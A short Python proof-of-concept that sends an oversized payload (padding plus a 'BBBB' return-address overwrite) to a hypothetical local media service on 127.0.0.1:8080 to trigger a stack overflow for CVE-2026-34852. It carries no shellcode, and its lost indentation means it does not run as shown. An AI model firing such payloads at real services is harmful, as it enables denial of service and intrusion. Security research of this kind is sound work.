The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-34852 Stack Overflow
# This script demonstrates the concept of triggering a buffer overflow
# by sending a large payload to a vulnerable local media service.
import socket
import struct
import sys
# Configuration for the vulnerable service (Hypothetical)
TARGET_IP = '127.0.0.1'
TARGET_PORT = 8080
# Vulnerable buffer size (Assume 256 bytes)
BUFFER_SIZE = 256
# Offset to overwrite the return address (Assume 260)
RET_OFFSET = 260
# Payload construction:
# 1. Padding (A's) to fill the buffer
# 2. Overwrite Return Address (BBBB)
# 3. NOP sled + Shellcode (optional, for demonstration)
padding = b'A' * BUFFER_SIZE
ret_addr = b'B' * 4 # Overwriting EIP/RIP with 0x42424242
payload = padding + b'C' * (RET_OFFSET - BUFFER_SIZE) + ret_addr
try:
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
# Establish connection to the local media service
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
print("[*] Sending malicious payload to trigger stack overflow...")
# Simulating sending a malformed media header or command
s.send(payload)
print("[*] Payload sent. Check if the service crashed.")
s.close()
except Exception as e:
print(f"[!] Error: {e}")